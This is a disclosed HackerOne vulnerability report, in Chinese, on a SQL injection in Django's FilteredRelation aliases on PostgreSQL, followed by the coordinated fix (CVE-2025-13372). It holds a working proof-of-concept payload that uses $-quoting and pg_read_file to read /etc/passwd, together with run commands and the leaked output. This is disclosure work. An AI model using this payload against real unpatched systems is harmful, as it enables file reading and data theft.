潜在SQL注入漏洞:在PostgreSQL上为FilteredRelation添加注解时
报告 #3417967 - 在PostgreSQL上为FilteredRelation添加注解时潜在的SQL注入漏洞
时间线 ID已验证 - 已成功完成身份验证检查的黑客。
stackered 向 Django 提交了一份报告。
2025年11月9日,晚上8:26(UTC)
菜单 菜单
嗨,Django 安全团队!
这个漏洞与 CVE 2025-57833 和 CVE 2025-59681 相关,因为它源于 FORBIDDEN_ALIAS_PATTERN 中不完整的正则表达式过滤器。
在 PostgreSQL 中,$ 符号可以用来替换引号,并在标签之间构建原始字符串,像这样:$$something$$ 或 $tag$something$tag$。这可以被滥用来使部分查询被解释为原始字符串,而不是实际要执行的查询。在某些情况下,这允许构建注入,如下面的概念验证所示。
下面的概念验证可以粘贴到 tests/filtered_relation/tests.py 文件中的 FilteredRelationTests 类里。
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
def test_sqli(self):
user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"
qs = (
Book.objects.annotate(**{
user_data: FilteredRelation(
"editor"
),
})
.select_related(user_data)
)
try:
import django
for e in qs.all():
print("######### Injected #########")
print(e.title)
print("############################")
except django.db.utils.ProgrammingError as e:
print(f"------\n{e}")
|
这个 POC 将从 PostgreSQL Docker 容器中读取 /etc/passwd 文件,你可以使用以下命令运行该容器:
代码
1
|
docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres
|
将 tests/test_sqlite.py 文件修改为:
代码
1
2
3
4
5
6
7
8
9
10
|
DATABASES = {
"default": {
"ENGINE": "django.db.backends.postgresql",
"NAME": "django",
"USER": "postgres",
"PORT": 5432,
"HOST": "localhost"
},
}
SECRET_KEY = "mysecretpassword"
|
最后,可以使用以下命令执行 PoC:
代码
1
2
|
cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli
|
以下是输出结果,显示文件在 Docker 容器中已被成功读取。
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
######### Injected #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
############################
|
所执行的完整 SQL 查询如下:
代码
1
|
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
|
这个漏洞之所以在此上下文中有效,是因为用户输入在查询中被多次反射,使得 $a$, $b$, $c$, … 等标签得以闭合,并使查询的大部分内容被解释为 select 语句的原始字符串。
以下是简化后的查询,以提高可读性:
代码
1
|
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
|
影响
其影响是导致 SQL 注入,允许窃取数据、如 PoC 所示读取系统文件,或允许远程命令执行。
修复方案
修复方案是在 FORBIDDEN_ALIAS_PATTERN 正则表达式中添加 $ 符号。
jacobtylerwalls Django 工作人员 发表了一条评论。
2025年11月10日,下午5:15(UTC)
菜单 菜单
嗨 stackered,
感谢您的报告。我们将进行调查并尽快回复您。在此期间,请对这些信息保密。
如果您还没有阅读,请查看 Django 安全团队如何评估报告:https://docs.djangoproject.com/en/dev/internals/security/。
请注意,我们完成分析可能需要几周时间。除非您发现了新的相关信息,否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。
此致,
Jacob
jacobtylerwalls Django 工作人员 发表了一条评论。
2025年11月18日,晚上9:39(UTC)
菜单 菜单
你好 stackered,
感谢您的报告和耐心等待。我们已经确认了该漏洞,并已分配 CVE-2025-13372。
我已附上我们提议的缓解解决方案。请您测试一下该补丁,以确保它能可靠地修复问题,好吗?
我们计划在一篇博客文章中提及漏洞的发现者。使用 “stackered” 可以吗?或者您希望以其他方式署名?
包含此修复的 Django 版本目前计划于 12 月 2 日发布。在更新版本发布之前,请对此保密。
0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch (F5022077)
再次感谢您!
附件
1 个附件
F5022077: 0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch
jacobtylerwalls Django 工作人员 将状态更改为 已分类。
2025年11月18日,晚上9:40(UTC)
ID已验证 - 已成功完成身份验证检查的黑客。
stackered 发表了一条评论。
2025年11月19日,下午1:18(UTC)
菜单 菜单
你好 Jacob,
我已经测试了提议的补丁,并且无法再复现该问题。
用 “stackered” 署名就可以,谢谢。
祝你有美好的一天!
nessita Django 工作人员 关闭了报告并将状态更改为 已解决。
8 天前
菜单 菜单
此问题已于 2025年12月2日下午2点修复并发布。
已发布的 Django 安全版本:5.2.9、5.1.15 和 4.2.27
详细信息可在 Django 项目博客上找到:
https://www.djangoproject.com/weblog/2025/dec/02/security-releases/
The Internet Bug Bounty 已决定此报告不符合赏金资格。
8 天前
菜单 菜单
Django 不为安全报告提供金钱奖励。
您可以按照以下说明向 Internet Bug Bounty 计划提交问题:
https://hackerone.com/ibb
nessita Django 工作人员 请求公开此报告。
8 天前
stackered 同意公开此报告。
8 天前
此报告已公开。
8 天前
报告于
2025年11月9日,晚上8:23(UTC)
报告者
stackered
报告至
Django
参与者
报告 ID #3417967
已解决
严重性 高 (8.1)
公开时间 2025年12月2日,下午3:28(UTC)
弱点 SQL 注入
CVE ID CVE-2025-57833, CVE-2025-59681
赏金 隐藏
帐户详情 无
看起来您的 JavaScript 被禁用了。要使用 HackerOne,请在浏览器中启用 JavaScript 并刷新此页面。